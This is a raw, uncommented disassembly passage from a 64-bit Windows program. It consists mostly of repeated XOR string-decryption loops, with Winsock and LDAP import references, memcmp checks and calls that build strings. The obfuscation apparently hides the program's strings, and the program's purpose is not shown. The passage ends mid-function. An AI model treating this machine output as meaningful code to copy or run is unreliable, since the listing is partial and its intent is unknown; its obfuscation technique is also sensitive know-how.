psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x28
jl 0x1400951b0
cmp r8d, 0x29
jge 0x1400952f4
movsxd rax, r8d
lea r9, [rbp + 0x12e0]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x30
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x29
jl 0x1400952c0
lea rdx, [rbp + 0x12e0]
lea rcx, [rbp + 0xf60]
call fcn.140062690
nop
mov r8, r15
mov rdx, rax
lea rcx, [rbp + 0xf80]
call fcn.14008ab60
mov rdx, rax
mov rcx, rdi
call fcn.1400655a0
lea rcx, [rbp + 0xf80]
call fcn.140064450
lea rax, [rbp + 0xfa0]
mov qword [rsp + 0x50], rax
movups xmm4, xmmword [0x140165458]
movups xmmword [rbp + 0xca0], xmm4
movq xmm5, qword [0x140165468]
movq qword [rbp + 0xcb0], xmm5
movzx eax, word [reloc.WLDAP32.dll_Ordinal_60]
mov word [rbp + 0xcb8], ax
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400954c7
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm15
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0xca0], xmm3
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
pmuldq xmm2, xmm8
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm15
movdqa xmm0, xmm9
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0xca8]
xorps xmm3, xmm0
movq qword [rbp + 0xca8], xmm3
movdqa xmm3, xmmword [0x140167eb0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm15
movdqa xmm0, xmm3
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, xmm5
xorps xmm3, xmm0
movq qword [rbp + 0xcb0], xmm3
mov r8d, recvfrom
mov eax, r8d
lea r9, [rbp + 0xca0]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x30
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x1400954e0
lea rdx, [rbp + 0xca0]
lea rcx, [rbp + 0xfa0]
call fcn.140062690
mov r15, rax
movups xmm0, xmmword [0x140165410]
movups xmmword [rbp + 0x1240], xmm0
movups xmm1, xmmword [0x140165420]
movups xmmword [rbp + 0x1250], xmm1
movups xmm0, xmmword [0x140165430]
movups xmmword [rbp + 0x1260], xmm0
movups xmm1, xmmword [0x140165440]
movups xmmword [rbp + 0x1270], xmm1
movsd xmm0, qword [0x140165450]
movsd qword [rbp + 0x1280], xmm0
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140095687
lea rcx, [rbp + 0x1240]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x20
jl 0x140095590
cmp r8d, 0x24
jge 0x1400956d4
movsxd rax, r8d
lea r9, [rbp + 0x1240]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x30
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x24
jl 0x1400956a0
lea rdx, [rbp + 0x1240]
lea rcx, [rbp + 0xfc0]
call fcn.140062690
nop
mov r8, r15
mov rdx, rax
lea rcx, [rbp + 0xfe0]
call fcn.14008ab60
mov rdx, rax
mov rcx, r14
call fcn.1400655a0
lea rcx, [rbp + 0xfe0]
call fcn.140064450
lea rax, [rbp + 0x1000]
mov qword [rsp + 0x50], rax
movups xmm4, xmmword [str.cT_ZUYxBU__I_]
movups xmmword [rbp + 0xcc0], xmm4
movq xmm5, qword [0x1401654e8]
movq qword [rbp + 0xcd0], xmm5
movzx eax, word [reloc.WLDAP32.dll_Ordinal_60]
mov word [rbp + 0xcd8], ax
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400958a7
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm15
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0xcc0], xmm3
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
pmuldq xmm2, xmm8
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm15
movdqa xmm0, xmm9
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0xcc8]
xorps xmm3, xmm0
movq qword [rbp + 0xcc8], xmm3
movdqa xmm3, xmmword [0x140167eb0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm15
movdqa xmm0, xmm3
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, xmm5
xorps xmm3, xmm0
movq qword [rbp + 0xcd0], xmm3
mov r8d, recvfrom
mov eax, r8d
lea r9, [rbp + 0xcc0]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x30
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x1400958c0
lea rdx, [rbp + 0xcc0]
lea rcx, [rbp + 0x1000]
call fcn.140062690
mov r15, rax
movups xmm0, xmmword [0x140165480]
movups xmmword [rbp + 0x1340], xmm0
movups xmm1, xmmword [0x140165490]
movups xmmword [rbp + 0x1350], xmm1
movups xmm0, xmmword [0x1401654a0]
movups xmmword [rbp + 0x1360], xmm0
movups xmm1, xmmword [0x1401654b0]
movups xmmword [rbp + 0x1370], xmm1
movups xmm0, xmmword [0x1401654c0]
movups xmmword [rbp + 0x1380], xmm0
movzx eax, word [0x1401654d0]
mov word [rbp + 0x1390], ax
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140095a77
lea rcx, [rbp + 0x1340]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x28
jl 0x140095980
cmp r8d, 0x29
jge 0x140095ac4
movsxd rax, r8d
lea r9, [rbp + 0x1340]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x30
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x29
jl 0x140095a90
lea rdx, [rbp + 0x1340]
lea rcx, [rbp + 0x1020]
call fcn.140062690
nop
mov r8, r15
mov rdx, rax
lea rcx, [rbp + 0x1040]
call fcn.14008ab60
mov rdx, rax
mov rcx, r13
call fcn.1400655a0
lea rcx, [rbp + 0x1040]
call fcn.140064450
lea rax, [rbp + 0x1060]
mov qword [rsp + 0x50], rax
movsd xmm0, qword [str.edw4]
movsd qword [rbp + 0x468], xmm0
movzx eax, word [0x140165560]
mov ecx, 0x55
mov word [rbp + 0x468], cx
xor word [rbp + 0x46a], 0x31
xor word [rbp + 0x46c], 0x32
xor word [rbp + 0x46e], 0x33
xor ax, 0x34
mov word [rbp + 0x470], ax
lea rdx, [rbp + 0x468]
lea rcx, [rbp + 0x1060]
call fcn.140062690
mov r15, rax
movups xmm0, xmmword [str.ctvwa]
movups xmmword [rbp + 0x13a0], xmm0
movups xmm1, xmmword [0x140165510]
movups xmmword [rbp + 0x13b0], xmm1
movups xmm0, xmmword [0x140165520]
movups xmmword [rbp + 0x13c0], xmm0
movups xmm1, xmmword [0x140165530]
movups xmmword [rbp + 0x13d0], xmm1
movups xmm0, xmmword [0x140165540]
movups xmmword [rbp + 0x13e0], xmm0
mov eax, dword [0x140165550]
mov dword [rbp + 0x13f0], eax
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140095cd7
lea rcx, [rbp + 0x13a0]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x28
jl 0x140095be0
cmp r8d, 0x2a
jge 0x140095d24
movsxd rax, r8d
lea r9, [rbp + 0x13a0]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x30
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x2a
jl 0x140095cf0
lea rdx, [rbp + 0x13a0]
lea rcx, [rbp + 0x1080]
call fcn.140062690
nop
mov r8, r15
mov rdx, rax
lea rcx, [rbp + 0x10a0]
call fcn.14008ab60
mov rdx, rax
lea rcx, [0x14019a2c8]
call fcn.1400655a0
lea rcx, [rbp + 0x10a0]
call fcn.140064450
mov byte [0x14019b709], 1
lea r15, [0x14019a228]
xorps xmm0, xmm0
movups xmmword [rbp + 0x14b8], xmm0
movdqa xmm6, xmmword [0x140167e50]
movdqu xmmword [rbp + 0x14c8], xmm6
mov byte [rbp + 0x14b8], 0
movups xmmword [rbp + 0x14d8], xmm0
movdqu xmmword [rbp + 0x14e8], xmm6
mov byte [rbp + 0x14d8], 0
movups xmmword [rbp + 0x14f8], xmm0
movdqu xmmword [rbp + 0x1508], xmm6
mov byte [rbp + 0x14f8], 0
movups xmmword [rbp + 0x1518], xmm0
movdqu xmmword [rbp + 0x1528], xmm6
mov byte [rbp + 0x1518], 0
mov dword [rbp + 0x360], 0x42480000
mov dword [rbp + 0x364], 0x42dc0000
lea rcx, [rbp + 0x360]
call fcn.140025c50
mov rcx, qword [rbp + 8]
call fcn.140025a50
mov rdx, rdi
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x14019a268]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rsi, qword [0x14019a1e8]
mov r8, qword [0x14019a1f8]
cmp r8, qword [0x14019a278]
jne 0x1400960a6
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400960a6
movdqa xmm0, xmmword [0x1401253d0]
movups xmmword [rbx + 0xd4], xmm0
movups xmm2, xmmword [0x140165578]
movups xmmword [rbp + 0xaf0], xmm2
movzx eax, word [0x140165588]
mov word [rbp + 0xb00], ax
cmp byte [0x140165589], 0
je 0x140096080
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140096041
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm7
packuswb xmm1, xmm1
packuswb xmm1, xmm1
mov ecx, dword [rbp - 0x50]
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xaf0], xmm1
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xaf4]
xorps xmm2, xmm1
movd dword [rbp + 0xaf4], xmm2
movdqa xmm2, xmmword [0x140167eb0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xaf8]
xorps xmm2, xmm1
movd dword [rbp + 0xaf8], xmm2
movdqa xmm2, xmmword [0x140167ec0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xafc]
xorps xmm2, xmm1
movd dword [rbp + 0xafc], xmm2
mov r8d, reloc.WS2_32.dll_recv
mov eax, r8d
lea r9, [rbp + 0xaf0]
add r9, rax
nop
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x140096050
lea rax, [rbp + 0xaf0]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140096090
lea rdx, [rbp + 0xaf0]
jmp 0x1400962a1
movdqa xmm0, xmmword [0x140167f90]
movups xmmword [rbx + 0xd4], xmm0
movsd xmm0, qword [0x140165568]
movsd qword [rbp + 0x698], xmm0
mov ecx, dword [0x140165570]
mov dword [rbp + 0x6a0], ecx
movzx eax, word [0x140165574]
mov word [rbp + 0x6a4], ax
cmp byte [0x140165575], 0
je 0x140096280
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140096241
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm7
packuswb xmm1, xmm1
packuswb xmm1, xmm1
mov eax, dword [rbp - 0x50]
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x140165568]
xorps xmm1, xmm0
movd dword [rbp + 0x698], xmm1
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x69c]
xorps xmm2, xmm1
movd dword [rbp + 0x69c], xmm2
movdqa xmm2, xmmword [0x140167eb0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x6a0], xmm2
mov r8d, recvfrom
mov eax, r8d
lea r9, [rbp + 0x698]
add r9, rax
nop
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140096250
lea rax, [rbp + 0x698]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140096290
lea rdx, [rbp + 0x698]
lea rcx, [rbp + 0x14b8]
call fcn.140080e60
lea rcx, [rbp + 0x14b8]
cmp qword [rbp + 0x14d0], 0xf
cmova rcx, qword [rbp + 0x14b8]
call fcn.14004e760
mov dword [rbp + 0x368], 0x42480000
mov dword [rbp + 0x36c], 0x43020000
lea rcx, [rbp + 0x368]
call fcn.140025c50
movups xmm0, xmmword [rbp - 0x80]
movups xmmword [rbx + 0xd4], xmm0
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdi, qword [0x14019a268]
mov rcx, rdi
call fcn.14004e760
mov dword [rbp + 0x370], 0x42480000
mov dword [rbp + 0x374], 0x43200000
lea rcx, [rbp + 0x370]
call fcn.140025c50
mov rdi, qword [rbp + 8]
mov rcx, rdi
call fcn.140025a50
mov rdx, r14
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x14019a288]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r12, qword [0x14019a208]
mov r8, qword [0x14019a218]
cmp r8, qword [0x14019a298]
jne 0x1400965e5
mov rcx, r12
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400965e5
movdqa xmm0, xmmword [0x1401253d0]
movups xmmword [rbx + 0xd4], xmm0
movups xmm2, xmmword [str.rx_]
movups xmmword [rbp + 0xb38], xmm2
movzx eax, word [0x1401655b0]
mov word [rbp + 0xb48], ax
movzx eax, byte [0x1401655b2]
mov byte [rbp + 0xb4a], al
xor r12d, r12d
mov r8d, r12d
mov esi, dword [reloc.WS2_32.dll_accept]
cmp esi, 2
jl 0x14009657f
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm7
packuswb xmm1, xmm1
packuswb xmm1, xmm1
mov ecx, dword [rbp - 0x50]
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xb38], xmm1
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb3c]
xorps xmm2, xmm1
movd dword [rbp + 0xb3c], xmm2
movdqa xmm2, xmmword [0x140167eb0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb40]
xorps xmm2, xmm1
movd dword [rbp + 0xb40], xmm2
movdqa xmm2, xmmword [0x140167ec0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb44]
xorps xmm2, xmm1
movd dword [rbp + 0xb44], xmm2
mov r8d, reloc.WS2_32.dll_recv
mov eax, r8d
lea r9, [rbp + 0xb38]
add r9, rax
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140096590
lea rax, [rbp + 0xb38]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], r12b
jne 0x1400965d0
lea rdx, [rbp + 0xb38]
jmp 0x1400967f0
movdqa xmm0, xmmword [0x140167f90]
movups xmmword [rbx + 0xd4], xmm0
movsd xmm0, qword [0x140165590]
movsd qword [rbp + 0x6c8], xmm0
mov ecx, dword [0x140165598]
mov dword [rbp + 0x6d0], ecx
movzx eax, word [0x14016559c]
mov word [rbp + 0x6d4], ax
movzx eax, byte [0x14016559e]
mov byte [rbp + 0x6d6], al
xor r12d, r12d
mov r8d, r12d
mov esi, dword [reloc.WS2_32.dll_accept]
cmp esi, 2
jl 0x140096785
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
